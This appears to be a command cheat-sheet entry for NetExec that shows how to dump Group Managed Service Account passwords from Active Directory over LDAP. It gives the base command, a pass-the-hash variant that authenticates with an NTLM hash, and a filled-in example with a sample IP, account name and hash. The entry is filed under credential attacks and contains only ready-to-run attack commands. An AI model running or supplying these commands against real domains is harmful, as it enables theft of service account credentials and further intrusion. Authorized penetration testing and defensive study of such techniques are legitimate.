NetExec LDAP gMSA Dump

Read Group Managed Service Account passwords via NetExec

Tool
nxc
Category
Credential Attacks / gMSA & LAPS
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' --gmsa

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' --gmsa

Examples

nxc ldap '192.168.1.2' -u 'provisioningsvc' -H '44dea6608c25a85d578d0c2b6f8355c4' --gmsa

Tags

nxc ldap gmsa service-account password